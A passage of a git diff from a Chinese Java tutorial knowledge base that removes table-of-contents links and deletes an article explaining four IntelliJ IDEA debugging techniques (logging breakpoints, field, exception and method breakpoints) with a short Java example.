基础篇八股文面试题)必看👍](sidebar/sanfene/javase.md) -- [面渣逆袭(Java 集合框架篇八股文面试题)必看👍](sidebar/sanfene/collection.md) -- [面渣逆袭(Java 并发编程篇八股文面试题)必看👍](sidebar/sanfene/javathread.md) -- [面渣逆袭(Java 虚拟机篇八股文面试题)必看👍](sidebar/sanfene/jvm.md) -- [面渣逆袭(MyBatis八股文面试题)必看👍](sidebar/sanfene/mybatis.md) -- [面渣逆袭(操作系统八股文面试题)必看👍](sidebar/sanfene/os.md) -- [面渣逆袭(计算机网络八股文面试题)必看👍](sidebar/sanfene/network.md) -- [面渣逆袭(RocketMQ八股文面试题)必看👍](sidebar/sanfene/rocketmq.md) -- [面渣逆袭(分布式面试题八股文)必看👍](sidebar/sanfene/fenbushi.md) -- [面渣逆袭(微服务面试题八股文)必看👍](sidebar/sanfene/weifuwu.md) -- [面渣逆袭(设计模式面试题八股文)必看👍](sidebar/sanfene/shejimoshi.md) -- [面渣逆袭(Linux面试题八股文)必看👍](sidebar/sanfene/linux.md) - -## Java基础 - -**Java基础非常重要**!包括基础语法、面向对象、集合框架、异常处理、Java IO、网络编程、NIO、并发编程和 JVM。 - -### Java概述及环境配置 - -- [《二哥的Java进阶之路》小册简介](overview/readme.md) -- [Java简史、特性、前景](overview/what-is-java.md) -- [Windows和macOS下安装JDK教程](overview/jdk-install-config.md) -- [在macOS和Windows上安装Intellij IDEA](overview/IDEA-install-config.md) -- [编写第一个程序Hello World](overview/hello-world.md) - - -### Java基础语法 - -- [48个关键字及2个保留字全解析](basic-extra-meal/48-keywords.md) -- [了解Java注释](basic-grammar/javadoc.md) -- [基本数据类型与引用数据类型](basic-grammar/basic-data-type.md) -- [自动类型转换与强制类型转换](basic-grammar/type-cast.md) -- [Java基本数据类型缓存池剖析(IntegerCache)](basic-extra-meal/int-cache.md) -- [Java运算符详解](basic-grammar/operator.md) -- [Java流程控制语句详解](basic-grammar/flow-control.md) -- [Java 语法基础练习题](basic-grammar/basic-exercise.md) - -### 数组&字符串 - -- [掌握Java数组](array/array.md) -- [掌握 Java二维数组](array/double-array.md) -- [如何优雅地打印Java数组?](array/print.md) -- [深入解读String类源码](string/string-source.md) -- [为什么Java字符串是不可变的?](string/immutable.md) -- [深入理解Java字符串常量池](string/constant-pool.md) -- [详解 String.intern() 方法](string/intern.md) -- [String、StringBuilder、StringBuffer](string/builder-buffer.md) -- [Java中equals()与==的区别](string/equals.md) -- [最优雅的Java字符串拼接是哪种方式?](string/join.md) -- [如何在Java中拆分字符串?](string/split.md) - -### Java面向对象编程 - -- [类和对象](oo/object-class.md) -- [Java中的包](oo/package.md) -- [Java变量](oo/var.md) -- [Java方法](oo/method.md) -- [Java可变参数详解](basic-extra-meal/varables.md) -- [手把手教你用 C语言实现 Java native 本地方法](oo/native-method.md) -- [Java构造方法](oo/construct.md) -- [Java访问权限修饰符](oo/access-control.md) -- [Java代码初始化块](oo/code-init.md) -- [Java抽象类](oo/abstract.md) -- [Java接口](oo/interface.md) -- [Java内部类](oo/inner-class.md) -- [深入理解Java三大特性:封装、继承和多态](oo/encapsulation-inheritance-polymorphism.md) -- [详解Java this与super关键字](oo/this-super.md) -- [详解Java static 关键字](oo/static.md) -- [详解Java final 关键字](oo/final.md) -- [掌握Java instanceof关键字](basic-extra-meal/instanceof.md) -- [聊聊Java中的不可变对象](basic-extra-meal/immutable.md) -- [方法重写 Override 和方法重载 Overload 有什么区别?](basic-extra-meal/override-overload.md) -- [深入理解Java中的注解](basic-extra-meal/annotation.md) -- [Java枚举:小小enum,优雅而干净](basic-extra-meal/enum.md) - -### 集合框架(容器) - -- [Java集合框架概览,包括List、Set、Map、队列](collection/gailan.md) -- [深入探讨 Java ArrayList](collection/arraylist.md) -- [深入探讨 Java LinkedList](collection/linkedlist.md) -- [Java Stack详解](collection/stack.md) -- [Java HashMap详解](collection/hashmap.md) -- [Java LinkedHashMap详解](collection/linkedhashmap.md) -- [Java TreeMap详解](collection/treemap.md) -- [Java 双端队列 ArrayDeque详解](collection/arraydeque.md) -- [Java 优先级队列PriorityQueue详解](collection/PriorityQueue.md) -- [Java Comparable和Comparator的区别](collection/comparable-omparator.md) -- [时间复杂度,评估ArrayList和LinkedList的执行效率](collection/time-complexity.md) -- [ArrayList和LinkedList的区别](collection/list-war-2.md) -- [Java 泛型深入解析](basic-extra-meal/generic.md) -- [Java迭代器Iterator和Iterable有什么区别?](collection/iterator-iterable.md) -- [为什么禁止在foreach里执行元素的删除操作?](collection/fail-fast.md) - -### Java IO - -- [深入了解 Java IO](io/shangtou.md) -- [Java File:IO 流的起点与终点](io/file-path.md) -- [Java 字节流:Java IO 的基石](io/stream.md) -- [Java 字符流:Reader和Writer的故事](io/reader-writer.md) -- [Java 缓冲流:Java IO 的读写效率有了质的飞升](io/buffer.md) -- [Java 转换流:Java 字节流和字符流的桥梁](io/char-byte.md) -- [Java 打印流:PrintStream & PrintWriter](io/print.md) -- [Java 序列流:Java 对象的序列化和反序列化](io/serialize.md) -- [Java Serializable 接口:明明就一个空的接口嘛](io/Serializbale.md) -- [深入探讨 Java transient 关键字](io/transient.md) - -### 异常处理 - -- [一文彻底搞懂Java异常处理,YYDS](exception/gailan.md) -- [深入理解 Java 中的 try-with-resources](exception/try-with-resources.md) -- [Java异常处理的20个最佳实践](exception/shijian.md) -- [空指针NullPointerException的传说](exception/npe.md) -- [try-catch 捕获异常真的会影响性能吗?](exception/try-catch-xingneng.md) - -### 常用工具类 - -- [Java Scanner:扫描控制台输入的工具类](common-tool/scanner.md) -- [Java Arrays:专为数组而生的工具类](common-tool/arrays.md) -- [Apache StringUtils:专为Java字符串而生的工具类](common-tool/StringUtils.md) -- [Objects:专为操作Java对象而生的工具类](common-tool/Objects.md) -- [Java Collections:专为集合而生的工具类](common-tool/collections.md) -- [Hutool:国产良心工具包,让你的Java变得更甜](common-tool/hutool.md) -- [Guava:Google开源的Java工具库,太强大了](common-tool/guava.md) -- [其他常用Java工具类:IpUtil、MDC、ClassUtils、BeanUtils、ReflectionUtils](common-tool/utils.md) - -### Java新特性 - -- [Java 8 Stream流:掌握流式编程的精髓](java8/stream.md) -- [Java 8 Optional最佳指南:解决空指针问题的优雅之选](java8/optional.md) -- [深入浅出Java 8 Lambda表达式:探索函数式编程的魅力](java8/Lambda.md) -- [Java 14 开箱,新特性Record、instanceof、switch香香香香](java8/java14.md) - -### Java网络编程 - -- [Java网络编程的基础:计算机网络](socket/network-base.md) -- [Java Socket:飞鸽传书的网络套接字](socket/socket.md) -- [牛逼,用Java Socket手撸了一个HTTP服务器](socket/http.md) - -### Java NIO - -- [Java NIO 比传统 IO 强在哪里?](nio/nio-better-io.md) -- [一文彻底解释清楚Java 中的NIO、BIO和AIO](nio/BIONIOAIO.md) -- [详解Java NIO的Buffer缓冲区和Channel通道](nio/buffer-channel.md) -- [聊聊 Java NIO中的Paths、Files](nio/paths-files.md) -- [Java NIO 网络编程实践:从入门到精通](nio/network-connect.md) -- [一文彻底理解Java IO模型](nio/moxing.md) - -### 重要知识点 - -- [Java命名规范:编写可读性强的代码](basic-extra-meal/java-naming.md) -- [解决中文乱码:字符编码全攻略 - ASCII、Unicode、UTF-8、GB2312详解](basic-extra-meal/java-unicode.md) -- [深入浅出Java拆箱与装箱](basic-extra-meal/box.md) -- [深入理解Java浅拷贝与深拷贝](basic-extra-meal/deep-copy.md) -- [Java hashCode方法解析](basic-extra-meal/hashcode.md) -- [Java到底是值传递还是引用传递?](basic-extra-meal/pass-by-value.md) -- [为什么无法实现真正的泛型?](basic-extra-meal/true-generic.md) -- [Java 反射详解](basic-extra-meal/fanshe.md) - - -### Java并发编程 - -- [并发编程小册简介](thread/readme.md) -- [Java多线程入门](thread/wangzhe-thread.md) -- [获取线程的执行结果](thread/callable-future-futuretask.md) -- [Java线程的6种状态](thread/thread-state-and-method.md) -- [线程组和线程优先级](thread/thread-group-and-thread-priority.md) -- [进程与线程的区别](thread/why-need-thread.md) -- [多线程带来了哪些问题?](thread/thread-bring-some-problem.md) -- [Java的内存模型(JMM)](thread/jmm.md) -- [volatile关键字解析](thread/volatile.md) -- [synchronized关键字解析](thread/synchronized-1.md) -- [synchronized的四种锁状态](thread/synchronized.md) -- [深入浅出偏向锁](thread/pianxiangsuo.md) -- [CAS详解](thread/cas.md) -- [AQS详解](thread/aqs.md) -- [锁分类和 JUC](thread/lock.md) -- [重入锁ReentrantLock](thread/reentrantLock.md) -- [读写锁ReentrantReadWriteLock](thread/ReentrantReadWriteLock.md) -- [等待通知条件Condition](thread/condition.md) -- [线程阻塞唤醒类LockSupport](thread/LockSupport.md) -- [Java的并发容器](thread/map.md) -- [并发容器ConcurrentHashMap](thread/ConcurrentHashMap.md) -- [非阻塞队列ConcurrentLinkedQueue](thread/ConcurrentLinkedQueue.md) -- [阻塞队列BlockingQueue](thread/BlockingQueue.md) -- [并发容器CopyOnWriteArrayList](thread/CopyOnWriteArrayList.md) -- [本地变量ThreadLocal](thread/ThreadLocal.md) -- [线程池](thread/pool.md) -- [定时任务ScheduledThreadPoolExecutor](thread/ScheduledThreadPoolExecutor.md) -- [原子操作类Atomic](thread/atomic.md) -- [魔法类 Unsafe](thread/Unsafe.md) -- [通信工具类](thread/CountDownLatch.md) -- [Fork/Join](thread/fork-join.md) -- [生产者-消费者模式](thread/shengchanzhe-xiaofeizhe.md) - - -### Java虚拟机 - -- [JVM小册简介](jvm/readme.md) -- [大白话带你认识JVM](jvm/what-is-jvm.md) -- [JVM是如何运行Java代码的?](jvm/how-run-java-code.md) -- [Java的类加载机制(付费)](jvm/class-load.md) -- [Java的类文件结构](jvm/class-file-jiegou.md) -- [从javap的角度轻松看懂字节码](jvm/bytecode.md) -- [栈虚拟机与寄存器虚拟机](jvm/vm-stack-register.md) -- [字节码指令详解](jvm/zijiema-zhiling.md) -- [深入理解JVM的栈帧结构](jvm/stack-frame.md) -- [深入理解JVM的运行时数据区](jvm/neicun-jiegou.md) -- [深入理解JVM的垃圾回收机制](jvm/gc.md) -- [深入理解JVM的垃圾收集器:CMS、G1、ZGC](jvm/gc-collector.md) -- [Java 创建的对象到底放在哪?](jvm/whereis-the-object.md) -- [深入理解JIT(即时编译)](jvm/jit.md) -- [JVM 性能监控之命令行篇](jvm/console-tools.md) -- [JVM 性能监控之可视化篇](jvm/view-tools.md) -- [阿里开源的 Java 诊断神器 Arthas](jvm/arthas.md) -- [内存溢出排查优化实战](jvm/oom.md) -- [CPU 100% 排查优化实践](jvm/cpu-percent-100.md) -- [JVM 核心知识点总结](jvm/zongjie.md) - -## Java进阶 - - - **到底能不能成为一名合格的 Java 程序员,从理论走向实战?Java 进阶这部分内容就是一个分水岭**! - - 纸上得来终觉浅,须知此事要躬行。 - - -### 开发/构建工具 - -> 工欲善其事必先利其器,这句话大家都耳熟能详了,熟练使用开发/构建工具可以让我们极大提升开发效率,解放生产力。 - -- [5分钟带你深入浅出搞懂Nginx](nginx/nginx.md) - -#### IDEA - -> 集成开发环境,Java 党主要就是 Intellij IDEA 了,号称史上最强大的 Java 开发工具,没有之一。 - -- [分享 4 个阅读源码必备的 IDEA 调试技巧](ide/4-debug-skill.md) -- [分享 1 个可以在 IDEA 里下五子棋的插件](ide/xechat.md) -- [分享 10 个可以一站式开发的 IDEA 神级插件](ide/shenji-chajian-10.md) - -#### Maven - -> Maven 是目前比较流行的一个项目构建工具,基于 pom 坐标来帮助我们管理第三方依赖,以及项目打包。 - -- [终于把项目构建神器Maven捋清楚了~](maven/maven.md) - - -#### Git - -> Git 是一个分布式版本控制系统,缔造者是大名鼎鼎的林纳斯·托瓦茲 (Linus Torvalds),Git 最初的目的是为了能更好的管理 Linux 内核源码。如今,Git 已经成为全球软件开发者的标配。如果说 Linux 项目促成了开源软件的成功并改写了软件行业的格局,那么 Git 则是改变了全世界开发者的工作方式和写作方式。 - -- [1小时彻底掌握 Git](git/git-qiyuan.md) -- [GitHub 远程仓库端口切换](git/port-22-to-443.md) - -### Spring - -- [Spring AOP扫盲](springboot/aop-log.md) -- [Spring IoC扫盲](springboot/ioc.md) - -### SpringBoot - -- [一分钟快速搭建Spring Boot项目](springboot/initializr.md) -- [Spring Boot 整合 lombok](springboot/lombok.md) -- [Spring Boot 整合 MySQL 和 Druid](springboot/mysql-druid.md) -- [Spring Boot 整合 JPA](springboot/jpa.md) -- [Spring Boot 整合 Thymeleaf 模板引擎](springboot/thymeleaf.md) -- [Spring Boot 如何开启事务支持?](springboot/transaction.md) -- [Spring Boot 中使用过滤器、拦截器、监听器](springboot/Filter-Interceptor-Listener.md) -- [Spring Boot 整合 Redis 实现缓存](redis/redis-springboot.md) -- [Spring Boot 整合 Logback 定制日志框架](springboot/logback.md) -- [Spring Boot 整合 Swagger-UI 实现在线API文档](springboot/swagger.md) -- [Spring Boot 整合 Knife4j,美化强化丑陋的Swagger](gongju/knife4j.md) -- [Spring Boot 整合 Spring Task 实现定时任务](springboot/springtask.md) -- [Spring Boot 整合 MyBatis-Plus AutoGenerator 生成编程喵项目骨架代码](kaiyuan/auto-generator.md) -- [Spring Boot 整合Quartz实现编程喵定时发布文章](springboot/quartz.md) -- [Spring Boot 整合 MyBatis](springboot/mybatis.md) -- [一键部署 Spring Boot 到远程 Docker 容器](springboot/docker.md) -- [如何在本地(macOS环境)跑起来编程喵(Spring Boot+Vue)项目源码?](springboot/macos-codingmore-run.md) -- [如何在本地(Windows环境)跑起来编程喵(Spring Boot+Vue)项目源码?](springboot/windows-codingmore-run.md) -- [编程喵🐱实战项目如何在云服务器上跑起来?](springboot/linux-codingmore-run.md) -- [SpringBoot中处理校验逻辑的两种方式:Hibernate Validator+全局异常处理](springboot/validator.md) - -### Netty - -- [超详细Netty入门,看这篇就够了!](netty/rumen.md) - -### 辅助工具 - -- [Chocolatey:一款GitHub星标8.2k+的Windows命令行软件管理器,好用到爆!](gongju/choco.md) -- [Homebrew,GitHub 星标 32.5k+的 macOS 命令行软件管理神器,功能真心强大!](gongju/brew.md) -- [Tabby:一款逼格更高的开源终端工具,GitHub 星标 21.4k](gongju/tabby.md) -- [Warp:号称下一代终端神器,GitHub星标2.8k+,用完爱不释手](gongju/warp.md) -- [WindTerm:新一代开源免费的终端工具,GitHub星标6.6k+,太酷了!](gongju/windterm.md) -- [chiner:干掉 PowerDesigner,国人开源的数据库设计工具,界面漂亮,功能强大](gongju/chiner.md) -- [DBeaver:干掉付费的 Navicat,操作所有数据库就靠它了!](gongju/DBeaver.md) - -### 开源轮子 - -- [Forest:一款极简的声明式HTTP调用API框架](gongju/forest.md) -- [Junit:一个开源的Java单元测试框架](gongju/junit.md) -- [fastjson:阿里巴巴开源的JSON解析库](gongju/fastjson.md) -- [Gson:Google开源的JSON解析库](gongju/gson.md) -- [Jackson:GitHub上star数最多的JSON解析库](gongju/jackson.md) -- [Log4j:Java日志框架的鼻祖](gongju/log4j.md) -- [Log4j 2:Apache维护的一款高性能日志记录工具](gongju/log4j2.md) -- [Logback:Spring Boot内置的日志处理框架](gongju/logback.md) -- [SLF4J:阿里巴巴强制使用的日志门面担当](gongju/slf4j.md) - - -### 分布式 - -- [全文搜索引擎Elasticsearch入门教程](elasticsearch/rumen.md) -- [可能是把ZooKeeper概念讲的最清楚的一篇文章](zookeeper/jibenjieshao.md) -- [微服务网关:从对比到选型,由理论到实践](microservice/api-wangguan.md) - -### 消息队列 - -- [RabbitMQ入门教程(概念、应用场景、安装、使用)](mq/rabbitmq-rumen.md) -- [怎么确保消息100%不丢失?](mq/100-budiushi.md) -- [Kafka核心知识点大梳理](mq/kafka.md) - -## 数据库 - - -**简而言之,就是按照数据结构来组织、存储和管理数据的仓库**。几乎所有的 Java 后端开发都要学习数据库这块的知识,包括关系型数据库 MySQL,缓存中间件 Redis,非关系型数据库 MongoDB 等。 - - -### MySQL - -- [MySQL 的安装和连接,结合技术派实战项目来讲](mysql/install.md) -- [MySQL 的数据库操作,利用 Spring Boot 实现数据库的自动创建](mysql/database.md) -- [MySQL 表的基本操作,结合技术派的表自动初始化来讲](mysql/table.md) -- [MySQL 的数据类型,4000 字 20 张手绘图,彻底掌握](mysql/data-type.md) -- [MySQL 的字符集和比较规则,从跟上掌握](mysql/charset.md) -- [MySQL bin目录下的那些可执行文件,包括备份数据库、导入 CSV 等](mysql/bin.md) -- [MySQL 的字段属性,默认值、是否为空、主键、自增、ZEROLFILL等一网打尽](mysql/column.md) -- [MySQL 的简单查询,开始踏上 SELECT 之旅](mysql/select-simple.md) -- [MySQL 的 WEHRE 条件查询,重点搞懂 % 通配符](mysql/select-where.md) -- [如何保障MySQL和Redis的数据一致性?](mysql/redis-shuju-yizhixing.md) -- [从根上理解 MySQL 的事务](mysql/lijie-shiwu.md) -- [浅入深出 MySQL 中事务的实现](mysql/shiwu-shixian.md) - -### Redis - -- [Redis入门(适合新手)](redis/rumen.md) -- [聊聊缓存雪崩、穿透、击穿](redis/xuebeng-chuantou-jichuan.md) - - - -### MongoDB - -- [MongoDB最基础入门教程](mongodb/rumen.md) - - -## 计算机基础 - -**计算机基础包括操作系统、计算机网络、计算机组成原理、数据结构与算法等**。对于任何一名想要走得更远的 Java 后端开发来说,都是必须要花时间和精力去夯实的。万丈高露平地起,勿在浮沙筑高台。 - -- [操作系统核心知识点大梳理](cs/os.md) -- [计算机网络核心知识点大梳理](cs/wangluo.md) - -## 求职面试 - - -**学习了那么多 Java 知识,耗费了无数的脑细胞,熬掉了无数根秀发,为的是什么?当然是谋取一份心仪的 offer 了**。那八股文、面试题、城市选择、优质面经又怎能少得了呢?千淘万漉虽辛苦,吹尽狂沙始到金。 - - -### 面试题&八股文 - -- [34 道 Java 精选面试题👍](interview/java-34.md) -- [13 道 Java HashMap 精选面试题👍](interview/java-hashmap-13.md) -- [60 道 MySQL 精选面试题👍](interview/mysql-60.md) -- [15 道 MySQL 索引精选面试题👍](interview/mysql-suoyin-15.md) -- [12 道 Redis 精选面试题👍](interview/redis-12.md) -- [40 道 Nginx 精选面试题👍](interview/nginx-40.md) -- [17 道 Dubbo 精选面试题👍](interview/dubbo-17.md) -- [40 道 Kafka 精选面试题👍](interview/kafka-40.md) -- [Java 基础背诵版八股文必看🍉](interview/java-basic-baguwen.md) -- [Java 并发编程背诵版八股文必看🍉](interview/java-thread-baguwen.md) -- [Java 虚拟机背诵版八股文必看🍉](interview/java-jvm-baguwen.md) -- [携程面试官👤:大文件上传时如何做到秒传?](interview/mianshiguan-bigfile-miaochuan.md) -- [阿里面试官👤:为什么要分库分表?](interview/mianshiguan-fenkufenbiao.md) -- [淘宝面试官👤:优惠券系统该如何设计?](interview/mianshiguan-youhuiquan.md) - - -### 优质面经 - -- [硕士读者春招斩获深圳腾讯PCG和杭州阿里云 offer✌️](mianjing/shanganaliyun.md) -- [本科读者小公司一年工作经验社招拿下阿里美团头条京东滴滴等 offer✌️](mianjing/shezynmjfxhelmtttjddd.md) -- [非科班读者,用一年时间社招拿下阿里 Offer✌️](mianjing/xuelybdzheloffer.md) -- [二本读者社招两年半10家公司28轮面试面经✌️](mianjing/huanxgzl.md) -- [双非一本秋招收获腾讯ieg、百度、字节等6家大厂offer✌️](mianjing/quzjlsspdx.md) -- [双非学弟收割阿里、字节、B站校招 offer,附大学四年硬核经验总结✌️](mianjing/zheisnylzldhzd.md) -- [深漂 6 年了,回西安的一波面经总结✌️](mianjing/chengxyspnhxagzl.md) - -### 面试准备 - -- [面试常见词汇扫盲+大厂面试特点分享💪](nice-article/weixin/miansmtgl.md) -- [有无实习/暑期实习 offer 如何准备秋招?💪](nice-article/weixin/zijxjjdyfqzgl.md) -- [简历如何优化,简历如何投递,面试如何准备?💪](nice-article/weixin/luoczbmsddyb.md) -- [校招时间节点、简历编写、笔试、HR面、实习等注意事项💪](nice-article/weixin/youdxzhhmjzlycfx.md) - -### 城市选择 - -- [武汉都有哪些值得加入的IT互联网公司?](cityselect/wuhan.md) -- [北京都有哪些值得加入的IT互联网公司?](cityselect/beijing.md) -- [广州都有哪些值得加入的IT互联网公司?](cityselect/guangzhou.md) -- [深圳都有哪些值得加入的IT互联网公司?](cityselect/shenzhen.md) -- [西安都有哪些值得加入的IT互联网公司?](cityselect/xian.md) -- [青岛都有哪些值得加入的IT互联网公司?](cityselect/qingdao.md) -- [郑州都有哪些值得加入的IT互联网公司?](cityselect/zhengzhou.md) -- [苏州都有哪些值得加入的IT互联网公司?](cityselect/suzhou.md) -- [南京都有哪些值得加入的IT互联网公司?](cityselect/nanjing.md) -- [杭州都有哪些值得加入的IT互联网公司?](cityselect/hangzhou.md) -- [成都都有哪些值得加入的IT互联网公司?](cityselect/chengdu.md) -- [济南都有哪些值得加入的IT互联网公司?](cityselect/jinan.md) - - -### 学习建议 - -- [计算机专业该如何自学编程,看哪些书籍哪些视频哪些教程?](xuexijianyi/LearnCS-ByYourself.md) -- [如何阅读《深入理解计算机系统》这本书?](xuexijianyi/read-csapp.md) -- [电子信息工程最好的出路的是什么?](xuexijianyi/electron-information-engineering.md) -- [如何填报计算机大类高考填志愿,计科、人工智能、软工、大数据、物联网、网络工程该怎么选?](xuexijianyi/gaokao-zhiyuan-cs.md) -- [测试开发工程师必读经典书籍有哪些?](xuexijianyi/test-programmer-read-books.md) -- [校招 Java 后端开发应该掌握到什么程度?](xuexijianyi/xiaozhao-java-should-master.md) -- [大裁员下,程序员如何做“副业”?](xuexijianyi/chengxuyuan-fuye.md) -- [如何在繁重的工作中持续成长?](xuexijianyi/ruhzfzdgzzcxcz.md) -- [如何获得高并发的经验?](xuexijianyi/gaobingfa-jingyan-hsmcomputer.md) -- [怎么跟 HR 谈薪资?](xuexijianyi/hr-xinzi.md) -- [程序员 35 岁危机,如何破局?](xuexijianyi/35-weiji.md) -- [不到 20 人的 IT 公司该去吗?](xuexijianyi/20ren-it-quma.md) -- [本科生如何才能进入腾讯、阿里等一流的互联网公司?](xuexijianyi/benkesheng-ali-tengxun.md) -- [计算机考研 408 统考该如何准备?](xuexijianyi/408.md) - -## 知识库搭建 - - -从购买阿里云服务器+域名购买+域名备案+HTTP 升级到 HTTPS,全方面记录《二哥的Java进阶之路》知识库的诞生和改进过程,涉及到 docsify、Git、Linux 命令、GitHub 仓库等实用知识点。 - -- [购买云服务器](szjy/buy-cloud-server.md) -- [安装宝塔面板](szjy/install-baota-mianban.md) -- [购买域名&域名解析](szjy/buy-domain.md) -- [备案域名](szjy/record-domain.md) -- [给域名配置HTTPS证书](szjy/https-domain.md) -- [使用docsify+Git+GitHub+码云+阿里云服务器搭建知识库网站](szjy/tobebetterjavaer-wangzhan-shangxian.md) - - -## 联系作者 - - ->- 作者是一名普通普通普通普通三连的 Java 后端开发者,热爱学习,热爱分享 ->- 参加工作以后越来越理解交流和分享的重要性,在不停地汲取营养的同时,也希望帮助到更多的小伙伴们 ->- 二哥的Java进阶之路,不仅是作者自学 Java 以来所有的原创文章和学习资料的大聚合,更是作者向这个世界传播知识的一个窗口。 - - -- [走近作者:个人介绍 Q&A](about-the-author/readme.md) -- [我的第一个,10 万(B站视频播放)](about-the-author/bzhan-10wan.md) -- [我的第一个,一千万!知乎阅读](about-the-author/zhihu-1000wan.md) -- [我的第二个,一千万!CSDN阅读](about-the-author/csdn-1000wan.md) - - - - - diff --git a/docs/src/ide/4-debug-skill.md b/docs/src/ide/4-debug-skill.md deleted file mode 100644 index 94585ee765..0000000000 --- a/docs/src/ide/4-debug-skill.md +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: 分享 4 个阅读源码必备的 IDEA 调试技巧 -shortTitle: 4个阅读源码必备的IDEA调试技巧 -category: - - 开发/构建工具 -tag: - - IDEA -description: 几个我日常工作以及阅读源码必备的 IntelliJ IDEA 高级调试技巧,分分钟要起飞的节奏。 -head: - - - meta - - name: keywords - content: Intellij IDEA,IDEA,Intellij IDEA 调试技巧,IDEA 调试技巧 ---- - - -大家好,我是二哥!今天给大家带来几个我日常工作以及阅读源码必备的 IntelliJ IDEA 高级调试技巧,分分钟要起飞的节奏。 - -## 断点处添加 log - -很多程序员在调试代码时都喜欢 `print` 一些内容,这样看起来更直观,print 完之后又很容易忘记删除掉这些没用的内容,最终将代码提交到 `remote`,code review 时又不得不删减这些内容重新提交,不但增加不必要的工作量,还让 `log tree` 的一些节点没有任何价值 - -IntelliJ IDEA 提供 `Evaluate and Log at Breakpoints` 功能恰巧可以帮助我们解决这个问题, 来看下面代码: - -```java -public static void main(String[] args) { - ThreadLocalRandom random = ThreadLocalRandom.current(); - int count = 0; - for (int i = 0; i < 5; i++) { - if (isInterested(random.nextInt(10))) { - count++; - } - } - System.out.printf("Found %d interested values%n", count); - } - - private static boolean isInterested(int i) { - return i % 2 == 0; - } -``` - -假如我们想在第 15 行查看每次调用,随即出来的 i 的值到底是多少,我们没必要在这个地方添加任何 log,在正常加断点的地方使用快捷键 `Shift + 鼠标左键`,就会弹出下面的内容 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/4-debug-skill-e69c965f-f7e5-4e91-a92d-a43a1d0aced4.jpg) - -勾选上 `Evaluate and log`, 并自定义你想查看的 log/变量,比如这里的 `"interested" + i`, 这样以 Debug 模式运行程序(正常模式运行,不会打印这些 log): - -``` -interested 7 -interested 5 -interested 1 -interested 2 -interested 0 -Found 2 interested values -``` - -如果你在多处添加了这种断点,简单的看 log 可能偶尔还是不够直观,可以勾选上面图片绿色框线的 `"Breakpoint hit" message` : - -``` -Breakpoint reached at top.dayarch.TestDebug.isInterested(TestDebug.java:49) -interested 6 -Breakpoint reached at top.dayarch.TestDebug.isInterested(TestDebug.java:49) -interested 0 -Breakpoint reached at top.dayarch.TestDebug.isInterested(TestDebug.java:49) -interested 9 -Breakpoint reached at top.dayarch.TestDebug.isInterested(TestDebug.java:49) -interested 8 -Breakpoint reached at top.dayarch.TestDebug.isInterested(TestDebug.java:49) -interested 1 -Found 3 interested values -Disconnected from the target VM, address: '127.0.0.1:0', transport: 'socket' - -Process finished with exit code -``` - -如果你想要更详细的信息,那就勾选上 `Stack trace` (大家自己查看运行结果吧),有了这个功能,上面说的一些问题都不复存在了 - -## 字段断点 - -如果你阅读源码,你一定会有个困扰,类中的某个字段的值到底是在哪里改变的,你要一点点追踪调用栈,逐步排查,稍不留神,就可能有遗漏 - -> 我们可以在 IntelliJ IDEA 中为某个字段添加断点,当字段值有修改时,自动跳到相应方法位置 - -使用起来很简单: - -1. 在字段定义处鼠标左键添加断点(会出现「眼睛」的图标) -2. 在「眼睛」图标上鼠标右键 -3. 在弹框中勾选上`Field access` 和`Field modification` 两个选项 - -![image.gif](https://cdn.paicoding.com/tobebetterjavaer/images/ide/4-debug-skill-72c23537-3f66-4283-b939-a265b7628a1a.gif) - -如果修改字段值的方法比较多,也可以在 `Condition` 的地方定义断点进入条件, 有了这个功能的加成,相信你阅读源码会顺畅许多 - -## 异常断点 - -除了阅读源码,一定是遇到了异常我们才开始调试代码,代码在抛出异常之后会自动停止,但是我们希望: - -> 代码停在抛出异常之前,方便我们查看当时的变量信息 - -这时我们就用到了 `Exception Breakpoints`, 当抛出异常时,在 catch 的地方打上断点,可以通过下图的几个位置获取栈顶异常类型,比如这里的 `NumberFormatException` - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/4-debug-skill-c4c511af-b00d-458b-a4a1-97d1fe1e84b8.jpg) - -知道异常类型后,就可以按照如下步骤添加异常断点了: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/4-debug-skill-4c35cab7-83d2-45b4-8a27-ebeceb41ce08.jpg) - -然后在弹框中选择 NumberFormatException - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/4-debug-skill-a98e7885-1e84-4c38-8de1-ae04d3013176.gif) - -重新以 Debug 模式运行程序: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/4-debug-skill-498ad99d-a15d-4a4e-a01b-b0c11cf8f72e.gif) - -程序「一路绿灯式」定位到抛出异常的位置,同时指出当时的变量信息,三个字:稳,准,狠,还有谁? - -## 方法断点 - -当阅读源码时,比如 Spring,一个接口的方法可能被多个子类实现,当运行时,需要查看调用栈逐步定位实现类,IDEA 同样支持在接口方法上添加断点(快捷键 `cmd+F8`/`ctrl+F8`): - -1. 鼠标左键在方法处点击断点(♦️形状) -2. 断点上鼠标右键 - -勾选上绿色框线上的内容,同样可以自定义跳转条件 Condition - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/4-debug-skill-b81dc459-5a9c-4e0e-b24e-350943299eda.jpg) - -当以 Debug 模式运行程序的时候,会自动进入实现类的方法(注意断点形状): - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/4-debug-skill-edbc1de2-4dd6-49a3-9a6a-5948d19aabee.jpg) - -看到这你应该想到常见的 Runnable 接口中的 run 方法了,同样是有作用的,大家可以自行去尝试了 - -## 总结 - -相信有以上四种调试技巧的加成,无论是工作debug 还是私下阅读源码,都可以轻松驾驭了。最后,来看看 IDEA 支持的各种断点调试类型,如果你只知道红色小圆点,那咱在留言区好好说说吧 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/4-debug-skill-92ad72da-4bf1-4bc4-b21d-78c33114dc96.jpg) - ------ - ->作者:tan日拱一兵,转载链接:[https://mp.weixin.qq.com/s/KG0yzb_9XhhTSzjHr4DkIQ](https://mp.weixin.qq.com/s/KG0yzb_9XhhTSzjHr4DkIQ) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 